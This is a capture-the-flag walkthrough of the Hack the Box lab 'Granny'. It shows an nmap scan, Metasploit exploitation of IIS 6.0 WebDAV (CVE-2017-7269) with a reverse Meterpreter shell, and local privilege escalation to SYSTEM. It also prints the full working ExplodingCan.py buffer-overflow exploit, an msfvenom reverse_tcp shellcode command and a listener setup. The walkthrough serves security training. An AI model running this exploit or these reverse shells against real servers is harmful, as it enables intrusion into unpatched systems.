htb-granny-nl

Today we are going to solve another CTF challenge “Granny” which is categories as retired lab presented by Hack the Box for making online penetration practices. Challenges in this lab are not hard to complete although they are like a brain teaser for the beginner as well as for expert penetration tester too.

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Granny is 10.10.10.15 so let’s initiate with nmap port enumeration.

c:\PENTEST>nmap -sC 10.10.10.15
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-25 19:39 W. Europe Standard Time
Nmap scan report for 10.10.10.15
Host is up (0.019s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-title: Error
| http-webdav-scan:
| Server Date: Fri, 25 Jan 2019 18:36:25 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unkown
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Nmap done: 1 IP address (1 host up) scanned in 15.99 seconds

Significant port 80 is open in victim’s network we preferred to explore his IP in the browser and resulting web page is shown below.

Since we know Microsoft IIS httpd 6.0 is running in victims system therefore when I Google I found a Rapid 7 exploit for this

Without wasting time I open a new terminal and type msfconsole for loading metasploit framework and use module iis_webdav for exploiting targets system.

root@kali:~/htb/granny# msfconsole

=[ metasploit v4.17.33-dev ]
+ -- --=[ 1843 exploits - 1045 auxiliary - 320 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

Name Current Setting Required Description
---- --------------- -------- -----------
MAXPATHLENGTH 60 yes End of physical path brute force
MINPATHLENGTH 3 yes Start of physical path brute force
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path of IIS 6 web application
VHOST no HTTP server virtual host


Exploit target:

Id Name
-- ----
0 Microsoft Windows Server 2003 R2 SP2 x86


msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhost 10.10.10.15
rhost => 10.10.10.15
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > check
[+] 10.10.10.15:80 - The target is vulnerable.
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] Trying path length 3 to 60 ...
[*] Sending stage (179779 bytes) to 10.10.10.15
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.15:1072) at 2019-01-24 20:39:46 +0100

meterpreter > ps

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 
4 0 System 
276 4 smss.exe 
324 276 csrss.exe 
348 276 winlogon.exe 
396 348 services.exe 
408 348 lsass.exe 
616 396 svchost.exe 
680 396 svchost.exe 
740 396 svchost.exe 
772 396 svchost.exe 
800 396 svchost.exe 
936 396 spoolsv.exe 
964 396 msdtc.exe 
1076 396 cisvc.exe 
1124 1076 cidaemon.exe 
1132 396 svchost.exe 
1180 396 inetinfo.exe 
1216 396 svchost.exe 
1332 396 VGAuthService.exe 
1412 396 vmtoolsd.exe 
1464 396 svchost.exe 
1604 396 svchost.exe 
1704 396 alg.exe 
1832 1076 cidaemon.exe 
1864 616 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
1916 396 dllhost.exe 
2060 1076 cidaemon.exe 
2440 616 wmiprvse.exe 
2816 348 logon.scr 
3572 1464 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe
3584 616 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe
3700 3572 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe

meterpreter > migrate 1864
[*] Migrating from 3700 to 1864...
[*] Migration completed successfully.
meterpreter > shell
Process 2228 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\network service

C:\WINDOWS\system32>

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit.

meterpreter > 
Background session 1? [y/N]  
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set session 1
session => 1
msf exploit(windows/local/ppr_flatten_rec) > set wait 20
wait => 20
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.13
lhost => 10.10.14.13
msf exploit(windows/local/ppr_flatten_rec) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] Launching notepad to host the exploit...
[+] Process 2972 launched.
[*] Reflectively injecting the exploit DLL into 2972...
[*] Injecting exploit into 2972 ...
[*] Exploit injected. Injecting payload into 2972...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 30 sec ...
[*] Sending stage (179779 bytes) to 10.10.10.15
[*] Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.15:1077) at 2019-01-24 20:57:44 +0100

meterpreter >
meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/local/ppr_flatten_rec) > sessions -l

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1076 (10.10.10.15)
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ GRANNY 10.10.14.13:4444 -> 10.10.10.15:1077 (10.10.10.15)


msf exploit(windows/local/ppr_flatten_rec) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 2348 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system
root@kali:~/htb/granny# cat ExplodingCan.py 
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# An implementation of NSA's ExplodingCan exploit
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
# CVE-2017-7269 
#
# by @danigargu
#
#

import re
import sys
import socket
import requests
import httplib
import string
import time
import random
import sys

from urlparse import urlparse
from struct import pack

REQUEST_TIMEOUT = 10
DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")

def decode(data):
return data.decode("utf-8").encode("utf-16le")

def encode(data):
return data.decode("utf-16le").encode("utf-8")

p = lambda x : pack("<L", x) # pack

def rand_text_alpha(size):
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(size))

def supports_webdav(headers):
if "DAV" in headers.get('MS-Author-Via','') or \
headers.get('DASL','') == '<DAV:sql>' or \
re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
"PROPFIND" in headers.get('Public','') or \
"PROPFIND" in headers.get('Allow',''):
return True
return False

def check(url):
r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
if r.status_code != 200:
print("[-] Status code: %d" % r.status_code)
return False

print("[*] Server found: %s" % r.headers['Server'])
if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
return True
return False

def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
idx = 0
junk = 60
found = False
iis_path_len = None
cur_size = max_len

assert max_len <= 130, "Max length exceeded (130)"
init_lenght = 130-max_len

while not found and cur_size > min_len:
cur_size = (max_len-idx)
to_brute = rand_text_alpha(init_lenght+idx) 
base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute

sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
sys.stdout.flush() 
try:
r = requests.request('PROPFIND', url, 
timeout=REQUEST_TIMEOUT, headers={
'Content-Length': '0',
'Host': 'localhost',
'If': base_query
})

if r.status_code == 500:
iis_path_len = (max_len-idx)
found = True
idx += 1
time.sleep(delay)

# requests.exceptions.ReadTimeout
except requests.exceptions.ConnectionError as e:
print("[-] ERROR: %s" % e.message)
break

if iis_path_len and iis_path_len == max_len:
iis_path_len = None

return iis_path_len

def make_payload(p_url, iis_path_len, shellcode):
url = p_url.geturl()
payload = "PROPFIND / HTTP/1.1\r\n"
payload += "Host: %s\r\n" % p_url.netloc
payload += "Content-Length: 0\r\n"
payload += "If: <%s/a" % url

junk = (128-iis_path_len) * 2

p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path
p1 += p(0x02020202)
p1 += p(0x680312c0) # str pointer to .data httpext.dll
p1 += rand_text_alpha(24)
p1 += p(0x680313c0) # destination pointer used with memcpy
p1 += rand_text_alpha(12)
p1 += p(0x680313c0) # destination pointer used with memcpy

payload += encode(p1)

payload += "> (Not <locktoken:write1>) "
payload += "<%s/b" % url

p2 = rand_text_alpha(junk - 4)
p2 += p(0x680313c0)

"""
Stack adjust:

rsaenh.dll:68006E4F pop esi
rsaenh.dll:68006E50 pop ebp
rsaenh.dll:68006E51 retn 20h
"""

p2 += p(0x68006e4f) # StackAdjust
p2 += p(0x68006e4f) # StackAdjust
p2 += rand_text_alpha(4)
p2 += p(0x680313c0)
p2 += p(0x680313c0)
p2 += rand_text_alpha(12)

"""
rsaenh.dll:68016082 mov esp, ecx
rsaenh.dll:68016084 mov ecx, [eax]
rsaenh.dll:68016086 mov eax, [eax+4]
rsaenh.dll:68016089 push eax
rsaenh.dll:6801608A retn
"""

p2 += p(0x68016082)
p2 += rand_text_alpha(12)
p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
p2 += rand_text_alpha(4)
p2 += p(0x680124e3) # JMP [EBX]
p2 += p(0x68031460) # shellcode address
p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
p2 += p(0xffffffff)
p2 += p(0x680313c0)
p2 += p(0x6803046e) 
p2 += rand_text_alpha(4)
p2 += p(0x68031434)
p2 += p(0x680129e7) # leave; ret

"""
rsaenh.dll:68009391 pop eax
rsaenh.dll:68009392 pop ebp
rsaenh.dll:68009393 retn 4
"""

p2 += p(0x68009391)
p2 += rand_text_alpha(16)
p2 += p(0x6803141c)

"""
rsaenh.dll:68006E05 lea esp, [ebp-20h]
rsaenh.dll:68006E08 pop edi
rsaenh.dll:68006E09 pop esi
rsaenh.dll:68006E0A pop ebx
rsaenh.dll:68006E0B leave
rsaenh.dll:68006E0C retn 24h
"""

p2 += p(0x68006e05)
p2 += rand_text_alpha(12)
p2 += p(0x68008246) # EAX val address
p2 += rand_text_alpha(4)

"""
Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)

rsaenh.dll:68021DAA mov eax, [eax+110h]
rsaenh.dll:68021DB0 pop ebp
rsaenh.dll:68021DB1 retn 4
"""

p2 += p(0x68021daa)
p2 += rand_text_alpha(4)
p2 += p(0x680313f8)
p2 += p(0x680129e7) # leave; ret

payload += encode(p2)

"""
stack restore:

90 nop
31db xor ebx, ebx
b308 mov bl, 8
648b23 mov esp, dword fs:[ebx]
6681c40008 add sp, 0x800
90 nop
"""
payload += encode("9031DBB308648B236681C4000890".decode("hex"))
payload += encode(shellcode)
payload += ">\r\n\r\n"

return payload

def send_exploit(p_url, data):
host = p_url.hostname
port = p_url.port if p_url.port else 80
vulnerable = False
recv_data = None

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(50)
sock.connect((host, port))
sock.send(data)
recv_data = sock.recv(1024)
sock.close()
except socket.timeout:
print("[*] Socket timeout")
vulnerable = True
except socket.error as e: 
if e.errno == 54:
print("[*] Connection reset by peer")
vulnerable = True
return (vulnerable, recv_data)

def main(): 
if len(sys.argv) < 3:
print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
return

try:
url = sys.argv[1]
sc_file = sys.argv[2]
p_url = urlparse(url)
shellcode = None

with open(sc_file, 'rb') as f:
shellcode = f.read()

print("[*] Using URL: %s" % url)
if not check(url):
print("[-] Server not vulnerable")
return

iis_path_len = find_iis_path_len(url)
if not iis_path_len:
print("[-] Unable to determine IIS path size")
return

print("[*] Found IIS path size: %d" % iis_path_len)
if iis_path_len == DEFAULT_IIS_PATH_SIZE:
print("[*] Default IIS path: C:\Inetpub\wwwroot")

r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
if r and r.status_code == 207:
print("[*] WebDAV request: OK")
payload = make_payload(p_url, iis_path_len, shellcode)

print("[*] Payload len: %d" % len(payload))
print("[*] Sending payload...")
vuln, recv_data = send_exploit(p_url, payload)

if vuln:
print("[+] The host is maybe vulnerable")
if recv_data:
print(recv_data) 
else:
print("[-] Server did not respond correctly to WebDAV request")
return

except Exception as e:
print("[-] %s" % e)

if __name__ == '__main__':
main()
root@kali:~/htb/granny# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.2 LPORT=4444 >shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 744 (iteration=0)
x86/alpha_mixed chosen with final size 744
Payload size: 744 bytes

root@kali:~/htb/granny# ls
ExplodingCan.py puck.sh shellcode
root@kali:~/htb/granny# python ExplodingCan.py http://10.10.10.15 shellcode 
[*] Using URL: http://10.10.10.15
[*] Server found: Microsoft-IIS/6.0
[*] Found IIS path size: 18
[*] Default IIS path: C:\Inetpub\wwwroot
[*] WebDAV request: OK
[*] Payload len: 2241
[*] Sending payload...
[*] Socket timeout
[+] The host is maybe vulnerable
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] Sending stage (179779 bytes) to 10.10.10.15
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.15:1105) at 2019-02-20 19:24:56 +0100
Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *